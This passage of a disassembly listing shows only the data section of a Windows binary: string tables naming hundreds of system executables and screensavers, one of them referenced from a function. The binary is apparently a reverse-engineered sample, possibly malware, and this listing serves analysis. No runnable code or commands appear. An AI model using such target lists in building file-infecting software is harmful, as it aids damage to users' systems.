; "routemon.exe" dd offset aRsh_exe ; "rsh.exe" dd offset aRsm_exe ; "rsm.exe" dd offset aRsmsink_exe ; "rsmsink.exe" dd offset aRsmui_exe ; "rsmui.exe" dd offset aRsnotify_exe ; "rsnotify.exe" dd offset aRsopprov_exe ; "rsopprov.exe" dd offset aRsvp_exe ; "rsvp.exe" dd offset aRtcshare_exe ; "rtcshare.exe" dd offset aRtlcpl_exe ; "RTLCPL.EXE" dd offset aRunas_exe ; "runas.exe" dd offset aRundll32_exe ; "rundll32.exe" dd offset aRunonce_exe ; "runonce.exe" dd offset aRwinsta_exe ; "rwinsta.exe" dd offset aSavedump_exe ; "savedump.exe" dd offset aSc_exe ; "sc.exe" dd offset aScardsvr_exe ; "scardsvr.exe" dd offset aSchtasks_exe ; "schtasks.exe" dd offset aSdbinst_exe ; "sdbinst.exe" dd offset aSecedit_exe ; "secedit.exe" dd offset aServices_exe ; "services.exe" dd offset aSessmgr_exe ; "sessmgr.exe" dd offset aSethc_exe ; "sethc.exe" dd offset aSetup_exe ; "setup.exe" dd offset aSetver_exe ; "setver.exe" dd offset aSfc_exe ; "sfc.exe" dd offset aShadow_exe ; "shadow.exe" dd offset aShare_exe ; "share.exe" dd offset aShmgrate_exe ; "shmgrate.exe" dd offset aShrpubw_exe ; "shrpubw.exe" dd offset aShutdown_exe ; "shutdown.exe" dd offset aSigverif_exe ; "sigverif.exe" dd offset aSkeys_exe ; "skeys.exe" dd offset aSmbinst_exe ; "smbinst.exe" dd offset aSmlogsvc_exe ; "smlogsvc.exe" dd offset aSmss_exe ; "smss.exe" dd offset aSndrec32_exe ; "sndrec32.exe" dd offset aSndvol32_exe ; "sndvol32.exe" dd offset aSol_exe ; "sol.exe" dd offset aSort_exe ; "sort.exe" dd offset aSpider_exe ; "spider.exe" dd offset aSpiisupd_exe ; "spiisupd.exe" dd offset aSpnpinst_exe ; "spnpinst.exe" dd offset aSpoolsv_exe ; "spoolsv.exe" dd offset aSprestrt_exe ; "sprestrt.exe" dd offset aSpupdsvc_exe ; "spupdsvc.exe" dd offset aStimon_exe ; "stimon.exe" dd offset aSubrange_uce ; "subrange.uce" dd offset aSubst_exe ; "subst.exe" dd offset aSvchost_exe ; "svchost.exe" dd offset aSyncapp_exe ; "syncapp.exe" dd offset aSysedit_exe ; "sysedit.exe" dd offset aSyskey_exe ; "syskey.exe" dd offset aSysocmgr_exe ; "sysocmgr.exe" dd offset aSysteminfo_exe ; "systeminfo.exe" dd offset aSystray_exe ; "systray.exe" dd offset aTaskkill_exe ; "taskkill.exe" dd offset aTasklist_exe ; "tasklist.exe" dd offset aTaskman_exe ; "taskman.exe" dd offset aTaskmgr_exe ; "taskmgr.exe" dd offset aTcmsetup_exe ; "tcmsetup.exe" dd offset aTcpsvcs_exe ; "tcpsvcs.exe" dd offset aTelnet_exe ; "telnet.exe" dd offset aTftp_exe ; "tftp.exe" dd offset aTlntadmn_exe ; "tlntadmn.exe" dd offset aTlntsess_exe ; "tlntsess.exe" dd offset aTlntsvr_exe ; "tlntsvr.exe" dd offset aTourstart_exe ; "tourstart.exe" dd offset aTracerpt_exe ; "tracerpt.exe" dd offset aTracert_exe ; "tracert.exe" dd offset aTracert6_exe ; "tracert6.exe" dd offset aTscon_exe ; "tscon.exe" dd offset aTscupgrd_exe ; "tscupgrd.exe" dd offset aTsdiscon_exe ; "tsdiscon.exe" dd offset aTskill_exe ; "tskill.exe" dd offset aTsshutdn_exe ; "tsshutdn.exe" dd offset aTypeperf_exe ; "typeperf.exe" dd offset aUnlodctr_exe ; "unlodctr.exe" dd offset aUpnpcont_exe ; "upnpcont.exe" dd offset aUps_exe ; "ups.exe" dd offset aUser_exe ; "user.exe" dd offset aUserinit_exe ; "userinit.exe" dd offset aUsrmlnka_exe ; "usrmlnka.exe" dd offset aUsrprbda_exe ; "usrprbda.exe" dd offset aUsrshuta_exe ; "usrshuta.exe" dd offset aUtilman_exe ; "utilman.exe" dd offset aVerclsid_exe ; "verclsid.exe" dd offset aVerifier_exe ; "verifier.exe" dd offset aViral_exe ; "viral.exe" dd offset aVssadmin_exe ; "vssadmin.exe" dd offset aVssvc_exe ; "vssvc.exe" dd offset aVwipxspx_exe ; "vwipxspx.exe" dd offset aW32tm_exe ; "w32tm.exe" dd offset aWextract_exe ; "wextract.exe" dd offset aWiaacmgr_exe ; "wiaacmgr.exe" dd offset aWinchat_exe ; "winchat.exe" dd offset aWindbver_exe ; "WINDBVER.EXE" dd offset aWinhlp32_exe ; "winhlp32.exe" dd offset aWinlogon_exe ; "winlogon.exe" dd offset aWinmine_exe ; "winmine.exe" dd offset aWinmsd_exe ; "winmsd.exe" dd offset aWinspool_exe ; "winspool.exe" dd offset aWinver_exe ; "winver.exe" dd offset aWjview_exe ; "wjview.exe" dd offset aWowdeb_exe ; "wowdeb.exe" dd offset aWowexec_exe ; "wowexec.exe" dd offset aWpabaln_exe ; "wpabaln.exe" dd offset aWpnpinst_exe ; "wpnpinst.exe" dd offset aWrite_exe ; "write.exe" dd offset aWscntfy_exe ; "wscntfy.exe" dd offset aWscript_exe ; "wscript.exe" dd offset aWuauclt_exe ; "wuauclt.exe" dd offset aWuauclt1_exe ; "wuauclt1.exe" dd offset aWupdmgr_exe ; "wupdmgr.exe" dd offset aXcopy_exe ; "xcopy.exe" dd offset aAcdsee_scr ; "ACDSee.scr" dd offset aLogon_scr ; "logon.scr" dd offset aScrnsave_scr ; "scrnsave.scr" dd offset aSeismosaver_sc ; "SeismoSaver.scr" dd offset aSs3dfo_scr ; "ss3dfo.scr" dd offset aSsbezier_scr ; "ssbezier.scr" dd offset aSsflwbox_scr ; "ssflwbox.scr" dd offset aSsmarque_scr ; "ssmarque.scr" dd offset aSsmypics_scr ; "ssmypics.scr" dd offset aSsmyst_scr ; "ssmyst.scr" dd offset aSspipes_scr ; "sspipes.scr" dd offset aSsstars_scr ; "ssstars.scr" dd offset aSstext3d_scr ; "sstext3d.scr" ; LPCSTR off_41F6AC off_41F6AC dd offset aAlcrmv_exe ; DATA XREF: sub_405D52+3D3r ; "alcrmv.exe" dd offset aAlcupd_exe ; "alcupd.exe" dd offset aExplorer_exe_0 ; "explorer.exe" dd offset aHh_exe ; "hh.exe" dd offset aIsuninst_exe ; "IsUninst.exe" dd offset aIun6002_exe ; "iun6002.exe" dd offset aNotepad_exe_0 ; "NOTEPAD.EXE" dd offset aRegedit_exe ; "regedit.exe" dd offset aRegtlib_exe ; "REGTLIB.EXE" dd offset aSetdebug_exe ; "setdebug.exe" dd offset aSetup1_exe ; "Setup1.exe" dd offset aSoundman_exe ; "SOUNDMAN.EXE" dd offset aSt6unst_exe ; "ST6UNST.EXE" dd offset aTaskman_exe_0 ; "TASKMAN.EXE" dd offset aTwunk_16_exe ; "twunk_16.exe" dd offset aTwunk_32_exe ; "twunk_32.exe" dd offset aWinhelp_exe ; "winhelp.exe" dd offset aWinhlp32_exe_0 ; "winhlp32.exe" dd offset aSystem ; "System" aAccwiz_exe db 'accwiz.exe',0 ; DATA XREF: .data:lpString2o align 4 aActmovie_exe db 'actmovie.exe',0 ; DATA XREF: .data:0041F150o align 4 aAhui_exe db 'ahui.exe',0 ; DATA XREF: .data:0041F154o align 10h aAlg_exe db 'alg.exe',0 ; DATA XREF: .data:0041F158o aAppend_exe db 'append.exe',0 ; DATA XREF: .data:0041F15Co align 4 aArp_exe db 'arp.exe',0 ; DATA XREF: .data:0041F160o aAsr_fmt_exe db 'asr_fmt.exe',0 ; DATA XREF: .data:0041F164o aAsr_ldm_exe db 'asr_ldm.exe',0 ; DATA XREF: .data:0041F168o aAsr_pfu_exe db 'asr_pfu.exe',0 ; DATA XREF: .data:0041F16Co aAt_exe db 'at.exe',0 ; DATA XREF: .data:0041F170o align 4 aAti2evxx_exe db 'ati2evxx.exe',0 ; DATA XREF: .data:0041F174o align 4 aAti2mdxx_exe db 'Ati2mdxx.exe',0 ; DATA XREF: .data:0041F178o align 4 aAtmadm_exe db 'atmadm.exe',0 ; DATA XREF: .data:0041F17Co align 4 aAttrib_exe db 'attrib.exe',0 ; DATA XREF: .data:0041F180o align 10h aAuditusr_exe db 'auditusr.exe',0 ; DATA XREF: .data:0041F184o align 10h aAutochk_exe db 'autochk.exe',0 ; DATA XREF: .data:0041F188o aAutoconv_exe db 'autoconv.exe',0 ; DATA XREF: .data:0041F18Co align 4 aAutofmt_exe db 'autofmt.exe',0 ; DATA XREF: .data:0041F190o aAutolfn_exe db 'autolfn.exe',0 ; DATA XREF: .data:0041F194o aBlastcln_exe db 'blastcln.exe',0 ; DATA XREF: .data:0041F198o align 4 aBootcfg_exe db 'bootcfg.exe',0 ; DATA XREF: .data:0041F19Co aBootok_exe db 'bootok.exe',0 ; DATA XREF: .data:0041F1A0o align 4 aBootvrfy_exe db 'bootvrfy.exe',0 ; DATA XREF: .data:0041F1A4o align 4 aCacls_exe db 'cacls.exe',0 ; DATA XREF: .data:0041F1A8o align 4 aCalc_exe db 'calc.exe',0 ; DATA XREF: .data:0041F1ACo align 4 aCharmap_exe db 'charmap.exe',0 ; DATA XREF: .data:0041F1B0o aChcfg_exe db 'ChCfg.exe',0 ; DATA XREF: .data:0041F1B4o align 4 aChkdsk_exe db 'chkdsk.exe',0 ; DATA XREF: .data:0041F1B8o align 4 aChkntfs_exe db 'chkntfs.exe',0 ; DATA XREF: .data:0041F1BCo aCidaemon_exe db 'cidaemon.exe',0 ; DATA XREF: .data:0041F1C0o align 4 aCipher_exe db 'cipher.exe',0 ; DATA XREF: .data:0041F1C4o align 10h aCisvc_exe db 'cisvc.exe',0 ; DATA XREF: .data:0041F1C8o align 4 aCkcnv_exe db 'ckcnv.exe',0 ; DATA XREF: .data:0041F1CCo align 4 aCleanmgr_exe db 'cleanmgr.exe',0 ; DATA XREF: .data:0041F1D0o align 4 aCliconfg_exe db 'cliconfg.exe',0 ; DATA XREF: .data:0041F1D4o align 4 aClipbrd_exe db 'clipbrd.exe',0 ; DATA XREF: .data:0041F1D8o aClipsrv_exe db 'clipsrv.exe',0 ; DATA XREF: .data:0041F1DCo aClspack_exe db 'clspack.exe',0 ; DATA XREF: .data:0041F1E0o aCmd_exe db 'cmd.exe',0 ; DATA XREF: .data:0041F1E4o aCmdl32_exe db 'cmdl32.exe',0 ; DATA XREF: .data:0041F1E8o align 10h aCmmon32_exe db 'cmmon32.exe',0 ; DATA XREF: .data:0041F1ECo aCmstp_exe db 'cmstp.exe',0 ; DATA XREF: .data:0041F1F0o align 4 aComp_exe db 'comp.exe',0 ; DATA XREF: .data:0041F1F4o align 4 aCompact_exe db 'compact.exe',0 ; DATA XREF: .data:0041F1F8o aConime_exe db 'conime.exe',0 ; DATA XREF: .data:0041F1FCo align 4 aControl_exe db 'control.exe',0 ; DATA XREF: .data:0041F200o aConvert_exe db 'convert.exe',0 ; DATA XREF: .data:0041F204o aCscript_exe db 'cscript.exe',0 ; DATA XREF: .data:0041F208o aCsrss_exe db 'csrss.exe',0 ; DATA XREF: .data:0041F20Co align 4 aCtfmon_exe db 'ctfmon.exe',0 ; DATA XREF: .data:0041F210o align 4 aDcomcnfg_exe db 'dcomcnfg.exe',0 ; DATA XREF: .data:0041F214o align 4 aDdeshare_exe db 'ddeshare.exe',0 ; DATA XREF: .data:0041F218o align 4 aDebug_exe db 'debug.exe',0 ; DATA XREF: .data:0041F21Co align 4 aDefrag_exe db 'defrag.exe',0 ; DATA XREF: .data:0041F220o align 10h aDfrgfat_exe db 'dfrgfat.exe',0 ; DATA XREF: .data:0041F224o aDfrgntfs_exe db 'dfrgntfs.exe',0 ; DATA XREF: .data:0041F228o align 4 aDiantz_exe db 'diantz.exe',0 ; DATA XREF: .data:0041F22Co align 4 aDiskpart_exe db 'diskpart.exe',0 ; DATA XREF: .data:0041F230o align 4 aDiskperf_exe db 'diskperf.exe',0 ; DATA XREF: .data:0041F234o align 4 aDllhost_exe db 'dllhost.exe',0 ; DATA XREF: .data:0041F238o aDllhst3g_exe db 'dllhst3g.exe',0 ; DATA XREF: .data:0041F23Co align 4 aDmadmin_exe db 'dmadmin.exe',0 ; DATA XREF: .data:0041F240o aDmremote_exe db 'dmremote.exe',0 ; DATA XREF: .data:0041F244o align 10h aDoskey_exe db 'doskey.exe',0 ; DATA XREF: .data:0041F248o align 4 aDosx_exe db 'dosx.exe',0 ; DATA XREF: .data:0041F24Co align 4 aDplaysvr_exe db 'dplaysvr.exe',0 ; DATA XREF: .data:0041F250o align 4 aDpnsvr_exe db 'dpnsvr.exe',0 ; DATA XREF: .data:0041F254o align 4 aDpvsetup_exe db 'dpvsetup.exe',0 ; DATA XREF: .data:0041F258o align 4 aDriverquery_ex db 'driverquery.exe',0 ; DATA XREF: .data:0041F25Co aDrwatson_exe db 'drwatson.exe',0 ; DATA XREF: .data:0041F260o align 4 aDrwtsn32_exe db 'drwtsn32.exe',0 ; DATA XREF: .data:0041F264o align 4 aDumprep_exe db 'dumprep.exe',0 ; DATA XREF: .data:0041F268o aDvdplay_exe db 'dvdplay.exe',0 ; DATA XREF: .data:0041F26Co aDvdupgrd_exe db 'dvdupgrd.exe',0 ; DATA XREF: .data:0041F270o align 4 aDwwin_exe db 'dwwin.exe',0 ; DATA XREF: .data:0041F274o align 4 aDxdiag_exe db 'dxdiag.exe',0 ; DATA XREF: .data:0041F278o align 4 aEdlin_exe db 'edlin.exe',0 ; DATA XREF: .data:0041F27Co align 10h aEsentutl_exe db 'esentutl.exe',0 ; DATA XREF: .data:0041F280o align 10h aEudcedit_exe db 'eudcedit.exe',0 ; DATA XREF: .data:0041F284o align 10h aEventcreate_ex db 'eventcreate.exe',0 ; DATA XREF: .data:0041F288o aEventtriggers_ db 'eventtriggers.exe',0 ; DATA XREF: .data:0041F28Co align 4 aEventvwr_exe db 'eventvwr.exe',0 ; DATA XREF: .data:0041F290o align 4 aExe2bin_exe db 'exe2bin.exe',0 ; DATA XREF: .data:0041F294o aExpand_exe db 'expand.exe',0 ; DATA XREF: .data:0041F298o align 4 aExtrac32_exe db 'extrac32.exe',0 ; DATA XREF: .data:0041F29Co align 4 aFastopen_exe db 'fastopen.exe',0 ; DATA XREF: .data:0041F2A0o align 4 aFc_exe db 'fc.exe',0 ; DATA XREF: .data:0041F2A4o align 4 aFind_exe db 'find.exe',0 ; DATA XREF: .data:0041F2A8o align 10h aFindstr_exe db 'findstr.exe',0 ; DATA XREF: .data:0041F2ACo aFinger_exe db 'finger.exe',0 ; DATA XREF: .data:0041F2B0o align 4 aFixmapi_exe db 'fixmapi.exe',0 ; DATA XREF: .data:0041F2B4o aFltmc_exe db 'fltMc.exe',0 ; DATA XREF: .data:0041F2B8o align 10h aFontview_exe db 'fontview.exe',0 ; DATA XREF: .data:0041F2BCo align 10h aForcedos_exe db 'forcedos.exe',0 ; DATA XREF: .data:0041F2C0o align 10h aFreecell_exe db 'freecell.exe',0 ; DATA XREF: .data:0041F2C4o align 10h aFsquirt_exe db 'fsquirt.exe',0 ; DATA XREF: .data:0041F2C8o aFsutil_exe db 'fsutil.exe',0 ; DATA XREF: .data:0041F2CCo align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: .data:0041F2D0o aGb2312_uce db 'gb2312.uce',0 ; DATA XREF: .data:0041F2D4o align 4 aGdi_exe db 'gdi.exe',0 ; DATA XREF: .data:0041F2D8o aGetmac_exe db 'getmac.exe',0 ; DATA XREF: .data:0041F2DCo align 10h aGpresult_exe db 'gpresult.exe',0 ; DATA XREF: .data:0041F2E0o align 10h aGpupdate_exe db 'gpupdate.exe',0 ; DATA XREF: .data:0041F2E4o align 10h aGrpconv_exe db 'grpconv.exe',0 ; DATA XREF: .data:0041F2E8o aHelp_exe db 'help.exe',0 ; DATA XREF: .data:0041F2ECo align 4 aHostname_exe db 'hostname.exe',0 ; DATA XREF: .data:0041F2F0o align 4 aIe4uinit_exe db 'ie4uinit.exe',0 ; DATA XREF: .data:0041F2F4o align 4 aIexpress_exe db 'iexpress.exe',0 ; DATA XREF: .data:0041F2F8o align 4 aImapi_exe db 'imapi.exe',0 ; DATA XREF: .data:0041F2FCo align 4 aIpconfig_exe db 'ipconfig.exe',0 ; DATA XREF: .data:0041F300o align 4 aIpsec6_exe db 'ipsec6.exe',0 ; DATA XREF: .data:0041F304o align 10h aIpv6_exe db 'ipv6.exe',0 ; DATA XREF: .data:0041F308o align 4 aIpxroute_exe db 'ipxroute.exe',0 ; DATA XREF: .data:0041F30Co align 4 aJava_exe db 'java.exe',0 ; DATA XREF: .data:0041F310o align 4 aJavaw_exe db 'javaw.exe',0 ; DATA XREF: .data:0041F314o align 4 aJavaws_exe db 'javaws.exe',0 ; DATA XREF: .data:0041F318o align 10h aJdbgmgr_exe db 'jdbgmgr.exe',0 ; DATA XREF: .data:0041F31Co aJview_exe db 'jview.exe',0 ; DATA XREF: .data:0041F320o align 4 aKrnl386_exe db 'krnl386.exe',0 ; DATA XREF: .data:0041F324o aLabel_exe db 'label.exe',0 ; DATA XREF: .data:0041F328o align 10h aLights_exe db 'lights.exe',0 ; DATA XREF: .data:0041F32Co align 4 aLnkstub_exe db 'lnkstub.exe',0 ; DATA XREF: .data:0041F330o aLocator_exe db 'locator.exe',0 ; DATA XREF: .data:0041F334o aLodctr_exe db 'lodctr.exe',0 ; DATA XREF: .data:0041F338o align 10h aLogagent_exe db 'logagent.exe',0 ; DATA XREF: .data:0041F33Co align 10h aLogman_exe db 'logman.exe',0 ; DATA XREF: .data:0041F340o align 4 aLogoff_exe db 'logoff.exe',0 ; DATA XREF: .data:0041F344o align 4 aLogonui_exe db 'logonui.exe',0 ; DATA XREF: .data:0041F348o aLpq_exe db 'lpq.exe',0 ; DATA XREF: .data:0041F34Co aLpr_exe db 'lpr.exe',0 ; DATA XREF: .data:0041F350o aLsass_exe db 'lsass.exe',0 ; DATA XREF: .data:0041F354o align 10h aMagnify_exe db 'magnify.exe',0 ; DATA XREF: .data:0041F358o aMakecab_exe db 'makecab.exe',0 ; DATA XREF: .data:0041F35Co aMem_exe db 'mem.exe',0 ; DATA XREF: .data:0041F360o aMigpwd_exe db 'migpwd.exe',0 ; DATA XREF: .data:0041F364o align 4 aMmc_exe db 'mmc.exe',0 ; DATA XREF: .data:0041F368o aMnmsrvc_exe db 'mnmsrvc.exe',0 ; DATA XREF: .data:0041F36Co aMobsync_exe db 'mobsync.exe',0 ; DATA XREF: .data:0041F370o aMountvol_exe db 'mountvol.exe',0 ; DATA XREF: .data:0041F374o align 4 aMplay32_exe db 'mplay32.exe',0 ; DATA XREF: .data:0041F378o aMpnotify_exe db 'mpnotify.exe',0 ; DATA XREF: .data:0041F37Co align 4 aMqbkup_exe db 'mqbkup.exe',0 ; DATA XREF: .data:0041F380o align 4 aMqsvc_exe db 'mqsvc.exe',0 ; DATA XREF: .data:0041F384o align 10h aMqtgsvc_exe db 'mqtgsvc.exe',0 ; DATA XREF: .data:0041F388o aMrinfo_exe db 'mrinfo.exe',0 ; DATA XREF: .data:0041F38Co align 4 aMrt_exe db 'MRT.exe',0 ; DATA XREF: .data:0041F390o aMscdexnt_exe db 'mscdexnt.exe',0 ; DATA XREF: .data:0041F394o align 10h aMsdtc_exe db 'msdtc.exe',0 ; DATA XREF: .data:0041F398o align 4 aMsg_exe db 'msg.exe',0 ; DATA XREF: .data:0041F39Co aMshearts_exe db 'mshearts.exe',0 ; DATA XREF: .data:0041F3A0o align 4 aMshta_exe db 'mshta.exe',0 ; DATA XREF: .data:0041F3A4o align 10h aMsiexec_exe db 'msiexec.exe',0 ; DATA XREF: .data:0041F3A8o aMspaint_exe db 'mspaint.exe',0 ; DATA XREF: .data:0041F3ACo aMsswchx_exe db 'msswchx.exe',0 ; DATA XREF: .data:0041F3B0o aMstinit_exe db 'mstinit.exe',0 ; DATA XREF: .data:0041F3B4o aMstsc_exe db 'mstsc.exe',0 ; DATA XREF: .data:0041F3B8o align 4 aNarrator_exe db 'narrator.exe',0 ; DATA XREF: .data:0041F3BCo align 4 aNbtstat_exe db 'nbtstat.exe',0 ; DATA XREF: .data:0041F3C0o aNddeapir_exe db 'nddeapir.exe',0 ; DATA XREF: .data:0041F3C4o align 4 aNerocheck_exe db 'NeroCheck.exe',0 ; DATA XREF: .data:0041F3C8o align 4 aNet_exe db 'net.exe',0 ; DATA XREF: .data:0041F3CCo aNet1_exe db 'net1.exe',0 ; DATA XREF: .data:0041F3D0o align 4 aNetdde_exe db 'netdde.exe',0 ; DATA XREF: .data:0041F3D4o align 4 aNetsetup_exe db 'netsetup.exe',0 ; DATA XREF: .data:0041F3D8o align 4 aNetsh_exe db 'netsh.exe',0 ; DATA XREF: .data:0041F3DCo align 4 aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:0041F3E0o aNlsfunc_exe db 'nlsfunc.exe',0 ; DATA XREF: .data:0041F3E4o aNotepad_exe db 'notepad.exe',0 ; DATA XREF: .data:0041F3E8o aNslookup_exe db 'nslookup.exe',0 ; DATA XREF: .data:0041F3ECo align 4 aNtbackup_exe db 'ntbackup.exe',0 ; DATA XREF: .data:0041F3F0o align 4 aNtkrnlpa_exe db 'ntkrnlpa.exe',0 ; DATA XREF: .data:0041F3F4o align 4 aNtoskrnl_exe db 'ntoskrnl.exe',0 ; DATA XREF: .data:0041F3F8o align 4 aNtsd_exe db 'ntsd.exe',0 ; DATA XREF: .data:0041F3FCo align 4 aNtvdm_exe db 'ntvdm.exe',0 ; DATA XREF: .data:0041F400o align 10h aNw16_exe db 'nw16.exe',0 ; DATA XREF: .data:0041F404o align 4 aNwscript_exe db 'nwscript.exe',0 ; DATA XREF: .data:0041F408o align 4 aOdbcad32_exe db 'odbcad32.exe',0 ; DATA XREF: .data:0041F40Co align 4 aOdbcconf_exe db 'odbcconf.exe',0 ; DATA XREF: .data:0041F410o align 4 aOpenfiles_exe db 'openfiles.exe',0 ; DATA XREF: .data:0041F414o align 4 aOsk_exe db 'osk.exe',0 ; DATA XREF: .data:0041F418o aOsuninst_exe db 'osuninst.exe',0 ; DATA XREF: .data:0041F41Co align 4 aPackager_exe db 'packager.exe',0 ; DATA XREF: .data:0041F420o align 4 aPathping_exe db 'pathping.exe',0 ; DATA XREF: .data:0041F424o align 4 aPentnt_exe db 'pentnt.exe',0 ; DATA XREF: .data:0041F428o align 10h aPerfmon_exe db 'perfmon.exe',0 ; DATA XREF: .data:0041F42Co aPing_exe db 'ping.exe',0 ; DATA XREF: .data:0041F430o align 4 aPing6_exe db 'ping6.exe',0 ; DATA XREF: .data:0041F434o align 4 aPowercfg_exe db 'powercfg.exe',0 ; DATA XREF: .data:0041F438o align 4 aPrint_exe db 'print.exe',0 ; DATA XREF: .data:0041F43Co align 10h aProgman_exe db 'progman.exe',0 ; DATA XREF: .data:0041F440o aProquota_exe db 'proquota.exe',0 ; DATA XREF: .data:0041F444o align 4 aProxycfg_exe db 'proxycfg.exe',0 ; DATA XREF: .data:0041F448o align 4 aQappsrv_exe db 'qappsrv.exe',0 ; DATA XREF: .data:0041F44Co aQprocess_exe db 'qprocess.exe',0 ; DATA XREF: .data:0041F450o align 4 aQwinsta_exe db 'qwinsta.exe',0 ; DATA XREF: .data:0041F454o aRasautou_exe db 'rasautou.exe',0 ; DATA XREF: .data:0041F458o align 4 aRasdial_exe db 'rasdial.exe',0 ; DATA XREF: .data:0041F45Co aRasphone_exe db 'rasphone.exe',0 ; DATA XREF: .data:0041F460o align 10h aRcimlby_exe db 'rcimlby.exe',0 ; DATA XREF: .data:0041F464o aRcp_exe db 'rcp.exe',0 ; DATA XREF: .data:0041F468o aRdpclip_exe db 'rdpclip.exe',0 ; DATA XREF: .data:0041F46Co aRdsaddin_exe db 'rdsaddin.exe',0 ; DATA XREF: .data:0041F470o align 10h aRdshost_exe db 'rdshost.exe',0 ; DATA XREF: .data:0041F474o aRecover_exe db 'recover.exe',0 ; DATA XREF: .data:0041F478o aRedir_exe db 'redir.exe',0 ; DATA XREF: .data:0041F47Co align 4 aReg_exe db 'reg.exe',0 ; DATA XREF: .data:0041F480o aRegcladm_exe db 'REGCLADM.EXE',0 ; DATA XREF: .data:0041F484o align 4 aRegedt32_exe db 'regedt32.exe',0 ; DATA XREF: .data:0041F488o align 4 aRegini_exe db 'regini.exe',0 ; DATA XREF: .data:0041F48Co align 4 aRegsvr32_exe db 'regsvr32.exe',0 ; DATA XREF: .data:0041F490o align 4 aRegwiz_exe db 'regwiz.exe',0 ; DATA XREF: .data:0041F494o align 4 aRelog_exe db 'relog.exe',0 ; DATA XREF: .data:0041F498o align 10h aReplace_exe db 'replace.exe',0 ; DATA XREF: .data:0041F49Co aReset_exe db 'reset.exe',0 ; DATA XREF: .data:0041F4A0o align 4 aRexec_exe db 'rexec.exe',0 ; DATA XREF: .data:0041F4A4o align 4 aRoute_exe db 'route.exe',0 ; DATA XREF: .data:0041F4A8o align 10h aRoutemon_exe db 'routemon.exe',0 ; DATA XREF: .data:0041F4ACo align 10h aRsh_exe db 'rsh.exe',0 ; DATA XREF: .data:0041F4B0o aRsm_exe db 'rsm.exe',0 ; DATA XREF: .data:0041F4B4o aRsmsink_exe db 'rsmsink.exe',0 ; DATA XREF: .data:0041F4B8o aRsmui_exe db 'rsmui.exe',0 ; DATA XREF: .data:0041F4BCo align 4 aRsnotify_exe db 'rsnotify.exe',0 ; DATA XREF: .data:0041F4C0o align 4 aRsopprov_exe db 'rsopprov.exe',0 ; DATA XREF: .data:0041F4C4o align 4 aRsvp_exe db 'rsvp.exe',0 ; DATA XREF: .data:0041F4C8o align 4 aRtcshare_exe db 'rtcshare.exe',0 ; DATA XREF: .data:0041F4CCo align 4 aRtlcpl_exe db 'RTLCPL.EXE',0 ; DATA XREF: .data:0041F4D0o align 10h aRunas_exe db 'runas.exe',0 ; DATA XREF: .data:0041F4D4o align 4 aRundll32_exe db 'rundll32.exe',0 ; DATA XREF: .data:0041F4D8o align 4 aRunonce_exe db 'runonce.exe',0 ; DATA XREF: .data:0041F4DCo aRwinsta_exe db 'rwinsta.exe',0 ; DATA XREF: .data:0041F4E0o aSavedump_exe db 'savedump.exe',0 ; DATA XREF: .data:0041F4E4o align 4 aSc_exe db 'sc.exe',0 ; DATA XREF: .data:0041F4E8o align 4 aScardsvr_exe db 'scardsvr.exe',0 ; DATA XREF: .data:0041F4ECo align 4 aSchtasks_exe db 'schtasks.exe',0 ; DATA XREF: .data:0041F4F0o align 4 aSdbinst_exe db 'sdbinst.exe',0 ; DATA XREF: .data:0041F4F4o aSecedit_exe db 'secedit.exe',0 ; DATA XREF: .data:0041F4F8o aServices_exe db 'services.exe',0 ; DATA XREF: .data:0041F4FCo align 4 aSessmgr_exe db 'sessmgr.exe',0 ; DATA XREF: .data:0041F500o aSethc_exe db 'sethc.exe',0 ; DATA XREF: .data:0041F504o align 4 aSetup_exe db 'setup.exe',0 ; DATA XREF: .data:0041F508o align 4 aSetver_exe db 'setver.exe',0 ; DATA XREF: .data:0041F50Co align 4 aSfc_exe db 'sfc.exe',0 ; DATA XREF: .data:0041F510o aShadow_exe db 'shadow.exe',0 ; DATA XREF: .data:0041F514o align 4 aShare_exe db 'share.exe',0 ; DATA XREF: .data:0041F518o align 4 aShmgrate_exe db 'shmgrate.exe',0 ; DATA XREF: .data:0041F51Co align 4 aShrpubw_exe db 'shrpubw.exe',0 ; DATA XREF: .data:0041F520o aShutdown_exe db 'shutdown.exe',0 ; DATA XREF: .data:0041F524o align 10h aSigverif_exe db 'sigverif.exe',0 ; DATA XREF: .data:0041F528o align 10h aSkeys_exe db 'skeys.exe',0 ; DATA XREF: .data:0041F52Co align 4 aSmbinst_exe db 'smbinst.exe',0 ; DATA XREF: .data:0041F530o aSmlogsvc_exe db 'smlogsvc.exe',0 ; DATA XREF: .data:0041F534o align 4 aSmss_exe db 'smss.exe',0 ; DATA XREF: .data:0041F538o align 4 aSndrec32_exe db 'sndrec32.exe',0 ; DATA XREF: .data:0041F53Co align 4 aSndvol32_exe db 'sndvol32.exe',0 ; DATA XREF: .data:0041F540o align 4 aSol_exe db 'sol.exe',0 ; DATA XREF: .data:0041F544o aSort_exe db 'sort.exe',0 ; DATA XREF: .data:0041F548o align 4 aSpider_exe db 'spider.exe',0 ; DATA XREF: .data:0041F54Co align 4 aSpiisupd_exe db 'spiisupd.exe',0 ; DATA XREF: .data:0041F550o align 4 aSpnpinst_exe db 'spnpinst.exe',0 ; DATA XREF: .data:0041F554o align 4 aSpoolsv_exe db 'spoolsv.exe',0 ; DATA XREF: .data:0041F558o aSprestrt_exe db 'sprestrt.exe',0 ; DATA XREF: .data:0041F55Co align 10h aSpupdsvc_exe db 'spupdsvc.exe',0 ; DATA XREF: .data:0041F560o align 10h aStimon_exe db 'stimon.exe',0 ; DATA XREF: .data:0041F564o align 4 aSubrange_uce db 'subrange.uce',0 ; DATA XREF: .data:0041F568o align 4 aSubst_exe db 'subst.exe',0 ; DATA XREF: .data:0041F56Co align 4 aSvchost_exe db 'svchost.exe',0 ; DATA XREF: .data:0041F570o aSyncapp_exe db 'syncapp.exe',0 ; DATA XREF: .data:0041F574o aSysedit_exe db 'sysedit.exe',0 ; DATA XREF: .data:0041F578o aSyskey_exe db 'syskey.exe',0 ; DATA XREF: .data:0041F57Co align 4 aSysocmgr_exe db 'sysocmgr.exe',0 ; DATA XREF: .data:0041F580o align 4 aSysteminfo_exe db 'systeminfo.exe',0 ; DATA XREF: .data:0041F584o align 4 aSystray_exe db 'systray.exe',0 ; DATA XREF: .data:0041F588o aTaskkill_exe db 'taskkill.exe',0 ; DATA XREF: .data:0041F58Co align 4 aTasklist_exe db 'tasklist.exe',0 ; DATA XREF: .data:0041F590o align 4 aTaskman_exe db 'taskman.exe',0 ; DATA XREF: .data:0041F594o aTaskmgr_exe db 'taskmgr.exe',0 